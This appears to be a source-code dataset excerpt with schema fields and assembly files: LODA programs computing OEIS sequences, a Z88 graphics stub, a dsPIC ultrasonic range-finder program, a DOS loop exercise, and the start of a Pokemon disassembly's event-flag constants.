hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
07f2191f88aa78884ebd96cb1e0dead020c8ef0a
427
asm
Assembly
oeis/291/A291463.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/291/A291463.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/291/A291463.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A291463: a(n) is the product of n-th prime number with the distance to the next prime. ; Submitted by Jon Maiga ; 2,6,10,28,22,52,34,76,138,58,186,148,82,172,282,318,118,366,268,142,438,316,498,712,388,202,412,214,436,1582,508,786,274,1390,298,906,942,652,1002,1038,358,1810,382,772,394,2388,2532,892,454,916,1398,478,2410 mov $2,$0 add $0,1 seq $0,40 ; The prime numbers. seq $2,40 ; The prime numbers. sub $0,$2 mul $0,$2
38.818182
210
0.709602
e1e7e94cedf6cdb6f58a9cedb40196216bc8ff0b
875
asm
Assembly
libsrc/graphics/z88/swapgfxbk.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/graphics/z88/swapgfxbk.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/graphics/z88/swapgfxbk.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; ; Z88 Graphics Functions - Small C+ stubs ; ; Written around the Interlogic Standard Library ; ; Stubs Written by D Morris - 15/10/98 ; ; ; Page the graphics bank in/out - used by all gfx functions ; Simply does a swap... ; ; $Id: swapgfxbk.asm,v 1.5 2015/01/19 01:32:52 pauloscustodio Exp $ ; PUBLIC swapgfxbk EXTERN gfx_bank PUBLIC swapgfxbk1 INCLUDE "graphics/grafix.inc" .swapgfxbk .swapgfxbk1 push hl push de ld hl,map_bk ;$4Dx ld e,(hl) ld a,(gfx_bank) ;in crt0 ld (hl),a out (map_bk-$400),a ld a,e ld (gfx_bank),a pop de pop hl ret
19.444444
67
0.443429
3d3987e7458b6329d191728a2d689501ae26d683
461
asm
Assembly
oeis/181/A181982.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/181/A181982.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/181/A181982.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A181982: Expansion of (1 - x^2)^2 * (1 + x)^2 / (1 - x^6) in powers of x. ; Submitted by Simon Strandgaard ; 1,2,-1,-4,-1,2,2,2,-1,-4,-1,2,2,2,-1,-4,-1,2,2,2,-1,-4,-1,2,2,2,-1,-4,-1,2,2,2,-1,-4,-1,2,2,2,-1,-4,-1,2,2,2,-1,-4,-1,2,2,2,-1,-4,-1,2,2,2,-1,-4,-1,2,2,2,-1,-4,-1,2,2,2,-1,-4,-1,2,2,2,-1,-4,-1,2,2,2,-1,-4,-1,2,2,2,-1,-4,-1,2,2,2,-1,-4,-1,2,2,2,-1,-4 mov $2,$0 seq $0,100051 ; A Chebyshev transform of 1,1,1,... mod $2,2 add $2,1 mul $2,$0 mov $0,$2
41.909091
251
0.488069
fa515a58f99641f113fecc70615d528d5540d5fe
1,489
asm
Assembly
programs/oeis/157/A157954.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/157/A157954.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/157/A157954.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A157954: 162n - 1. ; 161,323,485,647,809,971,1133,1295,1457,1619,1781,1943,2105,2267,2429,2591,2753,2915,3077,3239,3401,3563,3725,3887,4049,4211,4373,4535,4697,4859,5021,5183,5345,5507,5669,5831,5993,6155,6317,6479,6641,6803,6965,7127,7289,7451,7613,7775,7937,8099,8261,8423,8585,8747,8909,9071,9233,9395,9557,9719,9881,10043,10205,10367,10529,10691,10853,11015,11177,11339,11501,11663,11825,11987,12149,12311,12473,12635,12797,12959,13121,13283,13445,13607,13769,13931,14093,14255,14417,14579,14741,14903,15065,15227,15389,15551,15713,15875,16037,16199,16361,16523,16685,16847,17009,17171,17333,17495,17657,17819,17981,18143,18305,18467,18629,18791,18953,19115,19277,19439,19601,19763,19925,20087,20249,20411,20573,20735,20897,21059,21221,21383,21545,21707,21869,22031,22193,22355,22517,22679,22841,23003,23165,23327,23489,23651,23813,23975,24137,24299,24461,24623,24785,24947,25109,25271,25433,25595,25757,25919,26081,26243,26405,26567,26729,26891,27053,27215,27377,27539,27701,27863,28025,28187,28349,28511,28673,28835,28997,29159,29321,29483,29645,29807,29969,30131,30293,30455,30617,30779,30941,31103,31265,31427,31589,31751,31913,32075,32237,32399,32561,32723,32885,33047,33209,33371,33533,33695,33857,34019,34181,34343,34505,34667,34829,34991,35153,35315,35477,35639,35801,35963,36125,36287,36449,36611,36773,36935,37097,37259,37421,37583,37745,37907,38069,38231,38393,38555,38717,38879,39041,39203,39365,39527,39689,39851,40013,40175,40337,40499 mov $1,$0 mul $1,162 add $1,161
212.714286
1,434
0.815312
b4a8b2edf1dbb9cfd28691b7c983f83b51d605c7
677
asm
Assembly
programs/oeis/107/A107240.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/107/A107240.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/107/A107240.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A107240: Sum of squares of first n tribonacci numbers (A000213). ; 1,2,3,12,37,118,407,1368,4617,15642,52891,178916,605325,2047726,6927407,23435376,79281105,268206130,907335091,3069492092,10384017717,35128880742,118840150983,402033352264,1360069089113,4601080768074,15565344748363,52657184102612,178137977818653,602636462314974,2038704548864095,6896888086714336 mov $5,$0 mov $7,$0 add $7,1 lpb $7,1 clr $0,5 mov $0,$5 sub $7,1 sub $0,$7 cal $0,248098 ; a(n) = 1 + a(n-1) + a(n-2) + a(n-3) if n>=4; a(1) = a(2) = a(3) = 1. mov $1,$0 add $4,$0 sub $4,1 mul $1,$4 div $1,2 add $0,$1 mov $1,$0 div $1,9 mul $1,8 add $1,1 add $6,$1 lpe mov $1,$6
26.038462
296
0.664697
8610f4a631f6a702c44bd2e8bf184dd67e63306c
451
asm
Assembly
programs/oeis/327/A327707.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/327/A327707.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/327/A327707.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A327707: The minimal size of a partition lambda of n such that every partition of n with at most 7 parts can be obtained by coalescing the parts of lambda. ; 1,2,3,4,5,6,7,7,8,8,9,9,10,10,10,11,11,11,12,12,12,12,13,13,13,13,14,14,14,14,14,15,15,15,15,15,15,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,18,18,18,18,18,18,18,18,18,19,19,19,19,19,19,19,19,19,19,19,20,20,20,20 lpb $0 mul $0,6 sub $0,1 div $0,7 add $1,1 lpe add $1,1 mov $0,$1
37.583333
217
0.667406
7fad7e46944981860e84be5df05dbc8087585223
11,134
asm
Assembly
mikroC/DisGlcd/project.asm
chen0040/cs-dspic-ultrasonic
0f9fde891cf66f480bb4a89e016da671c28d77e4
[ "MIT" ]
null
null
null
mikroC/DisGlcd/project.asm
chen0040/cs-dspic-ultrasonic
0f9fde891cf66f480bb4a89e016da671c28d77e4
[ "MIT" ]
null
null
null
mikroC/DisGlcd/project.asm
chen0040/cs-dspic-ultrasonic
0f9fde891cf66f480bb4a89e016da671c28d77e4
[ "MIT" ]
null
null
null
_Timer1Int: PUSH RCOUNT PUSH W0 MOV #2, W0 REPEAT #12 PUSH [W0++] ;project.c,78 :: void Timer1Int() iv IVT_ADDR_T1INTERRUPT { // Timer interrupt, sample with 40kHz ;project.c,79 :: LATC = ~PORTC; // invert PortC for generating signal MOV #lo_addr(LATC), W1 MOV PORTC, WREG COM W0, [W1] ;project.c,80 :: IFS0.T1IF = 0; // clear interrupt flag BCLR IFS0, #3 ;project.c,81 :: } L_end_Timer1Int: MOV #26, W0 REPEAT #12 POP [W0--] POP W0 POP RCOUNT RETFIE ; end of _Timer1Int _InitPort: ;project.c,83 :: void InitPort(void) { // function for initialization of I/O PORTS ;project.c,84 :: ADPCFG = 0xFEFF; // Configure AN pins as digital except PinB8 MOV #65279, W0 MOV WREG, ADPCFG ;project.c,85 :: TRISC = 0x0000; // set PORTC as output CLR TRISC ;project.c,86 :: PORTC = 0x2000; // default value of PORTC MOV #8192, W0 MOV WREG, PORTC ;project.c,87 :: TRISB.B8 = 1; // set PinB8 as input BSET TRISB, #8 ;project.c,88 :: } L_end_InitPort: RETURN ; end of _InitPort _InitTimer: ;project.c,90 :: void InitTimer(void) { // Initialization of Timer1 ;project.c,91 :: T1CON.B5 = 0; // prescaler 1:1 BCLR T1CON, #5 ;project.c,92 :: T1CON.B4 = 0; BCLR T1CON, #4 ;project.c,93 :: PR1 = (unsigned long)(Get_Fosc_kHz()) * 1000 / (8 * SAMPLE_FREQ); CALL _Get_Fosc_kHz MOV #1000, W2 MOV #0, W3 CALL __Multiply_32x32 MOV #57856, W2 MOV #4, W3 CLR W4 CALL __Divide_32x32 MOV W0, PR1 ;project.c,94 :: TON_bit = 1; // start Timer1 BSET TON_bit, #15 ;project.c,95 :: } L_end_InitTimer: RETURN ; end of _InitTimer _InitDelay: ;project.c,97 :: void InitDelay(void) { // Initialization of Timer2 ;project.c,98 :: T2CON.B5 = 0; // prescaler 1:8 BCLR T2CON, #5 ;project.c,99 :: T2CON.B4 = 1; BSET T2CON, #4 ;project.c,100 :: TMR2 = 0x0000; // Initial value of TMR2 register CLR TMR2 ;project.c,101 :: T2CON.TON = 1; // start Timer2 BSET T2CON, #15 ;project.c,102 :: } L_end_InitDelay: RETURN ; end of _InitDelay _InitADC: ;project.c,104 :: void InitADC(void) { // Initialization of ADC module ;project.c,105 :: ADC1_Init(); CALL _ADC1_Init ;project.c,106 :: } L_end_InitADC: RETURN ; end of _InitADC _InitVariable: ;project.c,108 :: void InitVariable(void) { // setting initial values ;project.c,109 :: abc = 0; CLR W0 MOV W0, _abc ;project.c,110 :: temp_old = 0; CLR W0 MOV W0, _temp_old ;project.c,111 :: distance = 0; CLR W0 MOV W0, _distance ;project.c,112 :: } L_end_InitVariable: RETURN ; end of _InitVariable _InitGLCD: ;project.c,114 :: void InitGLCD(void) { // Initialization of UART1 ;project.c,115 :: Glcd_Init(); CALL _Glcd_Init ;project.c,118 :: } L_end_InitGLCD: RETURN ; end of _InitGLCD _main: MOV #2048, W15 MOV #6142, W0 MOV WREG, 32 MOV #1, W0 MOV WREG, 52 MOV #4, W0 IOR 68 LNK #14 PUSH W4 PUSH W3 ;project.c,120 :: void main() { // Main Program ;project.c,122 :: InitPort(); // Initialization PUSH W10 PUSH W11 PUSH W12 PUSH W13 CALL _InitPort ;project.c,123 :: InitTimer(); CALL _InitTimer ;project.c,124 :: InitADC(); CALL _InitADC ;project.c,125 :: InitGLCD(); CALL _InitGLCD ;project.c,127 :: while(1) { // Unending loop L_main0: ;project.c,130 :: IEC0.T1IE = 1; // enable T1 interrupt BSET IEC0, #3 ;project.c,131 :: Delay_us(100); // Software PWM lasts 300us MOV #83, W7 L_main2: DEC W7 BRA NZ L_main2 NOP ;project.c,132 :: IEC0.T1IE = 0; // disable T1 interrupt BCLR IEC0, #3 ;project.c,135 :: Delay_ms(1); // wait 1ms so piezzo sattles down MOV #833, W7 L_main4: DEC W7 BRA NZ L_main4 NOP ;project.c,137 :: InitDelay(); // Start/initialize Timer2 to count Delay CALL _InitDelay ;project.c,139 :: temp = ADC1_Get_Sample(8); // get first two samples MOV #8, W10 CALL _ADC1_Get_Sample MOV W0, _temp ;project.c,140 :: Delay_us(1); NOP NOP ;project.c,141 :: temp_sec = ADC1_Get_Sample(8); MOV #8, W10 CALL _ADC1_Get_Sample MOV W0, _temp_sec ;project.c,143 :: InitVariable(); // Initialization of Variables CALL _InitVariable ;project.c,145 :: while (temp > temp_sec) { // check if returned wave is uprising L_main6: MOV _temp, W1 MOV #lo_addr(_temp_sec), W0 CP W1, [W0] BRA GTU L__main65 GOTO L_main7 L__main65: ;project.c,146 :: Delay_us(10); // if not check again in 10us MOV #8, W7 L_main8: DEC W7 BRA NZ L_main8 NOP ;project.c,147 :: temp = ADC1_Get_Sample(8); MOV #8, W10 CALL _ADC1_Get_Sample MOV W0, _temp ;project.c,148 :: Delay_us(1); NOP NOP ;project.c,149 :: temp_sec = ADC1_Get_Sample(8); MOV #8, W10 CALL _ADC1_Get_Sample MOV W0, _temp_sec ;project.c,150 :: } GOTO L_main6 L_main7: ;project.c,152 :: while(abc < 1000) { // Measure in lenght of 250ms L_main10: MOV _abc, W1 MOV #1000, W0 CP W1, W0 BRA LT L__main66 GOTO L_main11 L__main66: ;project.c,153 :: temp = ADC1_Get_Sample(8); // get sample MOV #8, W10 CALL _ADC1_Get_Sample MOV W0, _temp ;project.c,154 :: if (temp > temp_old) { // if new value is bigger then old MOV #lo_addr(_temp_old), W1 CP W0, [W1] BRA GTU L__main67 GOTO L_main12 L__main67: ;project.c,155 :: temp_old = temp; // set value of ADC into temporary variable MOV _temp, W0 MOV W0, _temp_old ;project.c,156 :: time = TMR2; // remember time when value was measured MOV TMR2, WREG MOV W0, _time ;project.c,157 :: } L_main12: ;project.c,158 :: abc++; MOV #1, W1 MOV #lo_addr(_abc), W0 ADD W1, [W0], [W0] ;project.c,159 :: Delay_us(50); MOV #41, W7 L_main13: DEC W7 BRA NZ L_main13 NOP NOP ;project.c,160 :: } GOTO L_main10 L_main11: ;project.c,161 :: T2CON.TON = 0; // Stop Timer2 BCLR T2CON, #15 ;project.c,163 :: if (time < 0) // absolute value of time MOV _time, W0 CP W0, #0 BRA LTU L__main68 GOTO L_main15 L__main68: ;project.c,164 :: time = - time; MOV _time, W1 MOV #lo_addr(_time), W0 SUBR W1, #0, [W0] L_main15: ;project.c,167 :: if (time < 600) MOV _time, W1 MOV #600, W0 CP W1, W0 BRA LTU L__main69 GOTO L_main16 L__main69: ;project.c,168 :: distance = time / 40; // 40 MOV #40, W2 MOV _time, W0 REPEAT #17 DIV.U W0, W2 MOV W0, _distance GOTO L_main17 L_main16: ;project.c,169 :: else if ((time > 599) && (time < 1200)) MOV _time, W1 MOV #599, W0 CP W1, W0 BRA GTU L__main70 GOTO L__main48 L__main70: MOV _time, W1 MOV #1200, W0 CP W1, W0 BRA LTU L__main71 GOTO L__main47 L__main71: L__main46: ;project.c,170 :: distance = time / 60; // 60 MOV #60, W2 MOV _time, W0 REPEAT #17 DIV.U W0, W2 MOV W0, _distance GOTO L_main21 ;project.c,169 :: else if ((time > 599) && (time < 1200)) L__main48: L__main47: ;project.c,171 :: else if ((time > 1199) && (time < 2800)) MOV _time, W1 MOV #1199, W0 CP W1, W0 BRA GTU L__main72 GOTO L__main50 L__main72: MOV _time, W1 MOV #2800, W0 CP W1, W0 BRA LTU L__main73 GOTO L__main49 L__main73: L__main45: ;project.c,172 :: distance = time / 90; // 90 MOV #90, W2 MOV _time, W0 REPEAT #17 DIV.U W0, W2 MOV W0, _distance GOTO L_main25 ;project.c,171 :: else if ((time > 1199) && (time < 2800)) L__main50: L__main49: ;project.c,173 :: else if ((time > 2799) && (time < 7200)) MOV _time, W1 MOV #2799, W0 CP W1, W0 BRA GTU L__main74 GOTO L__main52 L__main74: MOV _time, W1 MOV #7200, W0 CP W1, W0 BRA LTU L__main75 GOTO L__main51 L__main75: L__main44: ;project.c,174 :: distance = time / 110; // 110 MOV #110, W2 MOV _time, W0 REPEAT #17 DIV.U W0, W2 MOV W0, _distance GOTO L_main29 ;project.c,173 :: else if ((time > 2799) && (time < 7200)) L__main52: L__main51: ;project.c,175 :: else if ((time > 7199) && (time < 20000)) MOV _time, W1 MOV #7199, W0 CP W1, W0 BRA GTU L__main76 GOTO L__main54 L__main76: MOV _time, W1 MOV #20000, W0 CP W1, W0 BRA LTU L__main77 GOTO L__main53 L__main77: L__main43: ;project.c,176 :: distance = time / 125; // 125 MOV #125, W2 MOV _time, W0 REPEAT #17 DIV.U W0, W2 MOV W0, _distance GOTO L_main33 ;project.c,175 :: else if ((time > 7199) && (time < 20000)) L__main54: L__main53: ;project.c,177 :: else if ((time > 19999) && (time < 35000)) MOV _time, W1 MOV #19999, W0 CP W1, W0 BRA GTU L__main78 GOTO L__main56 L__main78: MOV _time, W1 MOV #35000, W0 CP W1, W0 BRA LTU L__main79 GOTO L__main55 L__main79: L__main42: ;project.c,178 :: distance = time / 135; // 135 MOV #135, W2 MOV _time, W0 REPEAT #17 DIV.U W0, W2 MOV W0, _distance GOTO L_main37 ;project.c,177 :: else if ((time > 19999) && (time < 35000)) L__main56: L__main55: ;project.c,180 :: distance = 0; CLR W0 MOV W0, _distance L_main37: L_main33: L_main29: L_main25: L_main21: L_main17: ;project.c,182 :: if (distance == 0) { // if distance is 0 the object is too far MOV _distance, W0 CP W0, #0 BRA Z L__main80 GOTO L_main38 L__main80: ;project.c,183 :: GLcd_Write_Text("Too Far!", 10, 0, 1); ADD W14, #0, W3 MOV #___Lib_System_DefaultPage, W4 MOV W4, 52 MOV #lo_addr(?ICS?lstr1_project), W4 REPEAT #8 MOV.B [W4++], [W3++] ADD W14, #0, W0 MOV.B #1, W13 CLR W12 MOV.B #10, W11 MOV W0, W10 CALL _Glcd_Write_Text ;project.c,185 :: } GOTO L_main39 L_main38: ;project.c,187 :: IntToStr(distance, txt); // converts time into string MOV #lo_addr(_txt), W11 MOV _distance, W10 CALL _IntToStr ;project.c,188 :: GLcd_Write_Text(txt, 10, 0, 1); MOV.B #1, W13 CLR W12 MOV.B #10, W11 MOV #lo_addr(_txt), W10 CALL _Glcd_Write_Text ;project.c,190 :: GLcd_Write_Text (" cm", 100, 0, 1); // send value over UART MOV #32, W3 MOV.B W3, [W14+9] MOV #99, W3 MOV.B W3, [W14+10] MOV #109, W3 MOV.B W3, [W14+11] MOV #0, W3 MOV.B W3, [W14+12] ADD W14, #9, W0 MOV.B #1, W13 CLR W12 MOV.B #100, W11 MOV W0, W10 CALL _Glcd_Write_Text ;project.c,191 :: } L_main39: ;project.c,193 :: Delay_ms(500); // delay before next measure MOV #7, W8 MOV #23451, W7 L_main40: DEC W7 BRA NZ L_main40 DEC W8 BRA NZ L_main40 NOP NOP ;project.c,194 :: } GOTO L_main0 ;project.c,195 :: } L_end_main: POP W3 POP W4 ULNK L__main81: BRA L__main81 ; end of _main
23.539112
110
0.592689
a386c6fee993cdc98a115c459805a8f82ff41484
626
asm
Assembly
y2s2/csa/practicals/prac-5/10-loop-ex-4-1.asm
ouldevloper/university
4bb4a7e86912b46aa625900d2985b4d1e436cf4e
[ "MIT" ]
8
2019-06-22T14:29:51.000Z
2021-09-22T16:58:12.000Z
y2s2/csa/practicals/prac-5/10-loop-ex-4-1.asm
ouldevloper/university
4bb4a7e86912b46aa625900d2985b4d1e436cf4e
[ "MIT" ]
1
2020-06-30T06:38:00.000Z
2020-07-08T06:37:57.000Z
y2s2/csa/practicals/prac-5/10-loop-ex-4-1.asm
ouldevloper/university
4bb4a7e86912b46aa625900d2985b4d1e436cf4e
[ "MIT" ]
9
2020-04-04T12:59:50.000Z
2022-03-27T22:44:58.000Z
; Accept digit (from 1-9), display serires from 1 to that digit .MODEL SMALL .STACK 100 .DATA p1 DB "Enter a digit: $" NL DB 13, 10, "$" d1 DB ? CHAR DB "1" .CODE MAIN PROC MOV AX,@DATA MOV DS,AX MOV AH, 09H LEA DX, p1 INT 21H MOV AH, 01H INT 21H SUB AL, "0" MOV d1, AL CALL NEWLINE MOV CL, d1 MOV CH, 0 DISP: MOV AH, 02H MOV DL, CHAR INT 21H INC CHAR LOOP DISP MOV AX,4C00H INT 21H MAIN ENDP NEWLINE PROC MOV AH, 09H LEA DX, NL INT 21H RET NEWLINE ENDP END MAIN
12.77551
63
0.514377
2cb4d2f752c5a64e456b821ece28054b77a32dfa
687
asm
Assembly
oeis/159/A159449.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/159/A159449.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/159/A159449.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A159449: Numerator of Hermite(n, 6/11). ; Submitted by Christian Krause ; 1,12,-98,-6984,-12660,6608592,94621704,-8460215136,-261811748208,13237235524800,729072813894624,-23285236203280512,-2220214665026855232,40977749954004344064,7476528335622538688640,-49114276816696253425152,-27729169180110170480865024,-142579550327074152508191744,112366847403048351528180407808,1969478690061315226663848130560,-493029020078480537606607337534464,-15448625100838532148332313002323968,2320189978828775706336790733322258432,110090759782809653633762723224239906816 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 mul $2,12 mul $3,-1 mul $3,$0 mul $3,242 lpe mov $0,$1
38.166667
476
0.813683
0f6c11f6c072deed562a3fc37ab3f74027285560
61,993
asm
Assembly
constants/event_flags.asm
zavytar/pokecolorless
5fa4930f9f90acaff7ae62367e3d9feae0404464
[ "blessing" ]
null
null
null
constants/event_flags.asm
zavytar/pokecolorless
5fa4930f9f90acaff7ae62367e3d9feae0404464
[ "blessing" ]
null
null
null
constants/event_flags.asm
zavytar/pokecolorless
5fa4930f9f90acaff7ae62367e3d9feae0404464
[ "blessing" ]
null
null
null
; wEventFlags bit flags const_def ; The first eight flags are reset upon reloading the map const EVENT_TEMPORARY_UNTIL_MAP_RELOAD_1 ; 000 const EVENT_TEMPORARY_UNTIL_MAP_RELOAD_2 const EVENT_TEMPORARY_UNTIL_MAP_RELOAD_3 const EVENT_TEMPORARY_UNTIL_MAP_RELOAD_4 const EVENT_TEMPORARY_UNTIL_MAP_RELOAD_5 const EVENT_TEMPORARY_UNTIL_MAP_RELOAD_6 const EVENT_TEMPORARY_UNTIL_MAP_RELOAD_7 const EVENT_TEMPORARY_UNTIL_MAP_RELOAD_8 ; Johto Gym Leader TM gifts const EVENT_GOT_TM31_MUD_SLAP const EVENT_GOT_TM49_FURY_CUTTER const EVENT_GOT_TM01_DYNAMICPUNCH const EVENT_GOT_TM45_ATTRACT const EVENT_GOT_TM30_SHADOW_BALL const EVENT_GOT_TM23_IRON_TAIL const EVENT_GOT_TM16_ICY_WIND const EVENT_GOT_TM24_DRAGONBREATH ; HMs (EVENT_GOT_HM07_WATERFALL is with the Johto itemballs) const EVENT_GOT_HM01_CUT const EVENT_GOT_HM02_FLY const EVENT_GOT_HM03_SURF const EVENT_GOT_HM04_STRENGTH const EVENT_GOT_HM05_FLASH const EVENT_GOT_HM06_WHIRLPOOL const EVENT_016 ; Rods const EVENT_GOT_OLD_ROD const EVENT_GOT_GOOD_ROD const EVENT_GOT_SUPER_ROD ; Johto story events - Main Story Events const EVENT_OAK_OUT const EVENT_RED_OAKS_LAB const EVENT_GOT_EEVEE_FROM_OAK const EVENT_BATTLED_RED_OAKSLAB const EVENT_ROUTE_1_GOT_POTION const EVENT_VIRIDIAN_GRAMPS_GRUMPY const EVENT_VIRIDIAN_GRAMPS_OKAY const EVENT_RED_ROUTE_22 const EVENT_BATTLED_RED_ROUTE_22 const EVENT_CLEARED_ROCKET_HIDEOUT const EVENT_DAISY_AUX const EVENT_BOUGHT_MAGIKARP_AT_MT_MOON const EVENT_ROUTE_4_GUARD const EVENT_ROUTE_4_ROCKETS const EVENT_GOT_TM05_ROAR_AT_ROUTE_4 const EVENT_USED_THE_CARD_KEY_IN_THE_RADIO_TOWER const EVENT_PEWTER_CITY_BADGE_CHECK const EVENT_GOT_TM46_THIEF_AT_MOUNT_MOON_B2F const EVENT_CLEARED_SLOWPOKE_WELL const EVENT_REFUSED_TO_TAKE_EGG_FROM_ELMS_AIDE const EVENT_GOT_TOGEPI_EGG_FROM_ELMS_AIDE const EVENT_MADE_UNOWN_APPEAR_IN_RUINS const EVENT_FAST_SHIP_DESTINATION_OLIVINE const EVENT_FAST_SHIP_FIRST_TIME const EVENT_FAST_SHIP_HAS_ARRIVED const EVENT_FAST_SHIP_FOUND_GIRL const EVENT_FAST_SHIP_LAZY_SAILOR const EVENT_FAST_SHIP_INFORMED_ABOUT_LAZY_SAILOR const EVENT_KURT_GAVE_YOU_LURE_BALL const EVENT_INITIALIZED_EVENTS const EVENT_JASMINE_EXPLAINED_AMPHYS_SICKNESS const EVENT_LAKE_OF_RAGE_EXPLAINED_WEIRD_MAGIKARP const EVENT_LAKE_OF_RAGE_ASKED_FOR_MAGIKARP const EVENT_LAKE_OF_RAGE_ELIXIR_ON_STANDBY const EVENT_03B const EVENT_03C const EVENT_HEALED_MOOMOO const EVENT_GOT_TM13_SNORE_FROM_MOOMOO_FARM const EVENT_TALKED_TO_FARMER_ABOUT_MOOMOO const EVENT_TALKED_TO_MOM_AFTER_MYSTERY_EGG_QUEST ; 040 const EVENT_DUDE_TALKED_TO_YOU const EVENT_LEARNED_TO_CATCH_POKEMON const EVENT_ELM_CALLED_ABOUT_STOLEN_POKEMON const EVENT_BEAT_ELITE_FOUR const EVENT_GOT_SHUCKIE const EVENT_MANIA_TOOK_SHUCKIE_OR_LET_YOU_KEEP_HIM const EVENT_GOT_SUNNY_DAY_FROM_RADIO_TOWER const EVENT_GOT_PINK_BOW_FROM_MARY const EVENT_USED_BASEMENT_KEY const EVENT_RECEIVED_CARD_KEY const EVENT_GOT_TM08_ROCK_SMASH const EVENT_LANCE_HEALED_YOU_IN_TEAM_ROCKET_BASE const EVENT_GOT_MYSTIC_WATER_IN_CHERRYGROVE const EVENT_GOT_TM05_ROAR const EVENT_GOT_EEVEE const EVENT_GOT_KENYA ; 050 const EVENT_GAVE_KENYA const EVENT_GOT_HP_UP_FROM_RANDY const EVENT_GOT_TM50_NIGHTMARE const EVENT_TOGEPI_HATCHED const EVENT_SHOWED_TOGEPI_TO_ELM const EVENT_GOT_EVERSTONE_FROM_ELM const EVENT_GOT_QUICK_CLAW const EVENT_GOT_TM10_HIDDEN_POWER const EVENT_GOT_TM36_SLUDGE_BOMB const EVENT_GOT_ITEMFINDER const EVENT_GOT_BICYCLE const EVENT_GOT_SQUIRTBOTTLE const EVENT_GOT_MIRACLE_SEED_IN_ROUTE_32 const EVENT_GOT_CHARCOAL_IN_CHARCOAL_KILN const EVENT_GOT_TM02_HEADBUTT const EVENT_DECIDED_TO_HELP_LANCE ; 060 const EVENT_GOT_TYROGUE_FROM_KIYO const EVENT_MET_FRIEDA_OF_FRIDAY const EVENT_GOT_POISON_BARB_FROM_FRIEDA const EVENT_MET_TUSCANY_OF_TUESDAY const EVENT_GOT_PINK_BOW_FROM_TUSCANY const EVENT_MET_ARTHUR_OF_THURSDAY const EVENT_GOT_HARD_STONE_FROM_ARTHUR const EVENT_MET_SUNNY_OF_SUNDAY const EVENT_GOT_MAGNET_FROM_SUNNY const EVENT_MET_WESLEY_OF_WEDNESDAY const 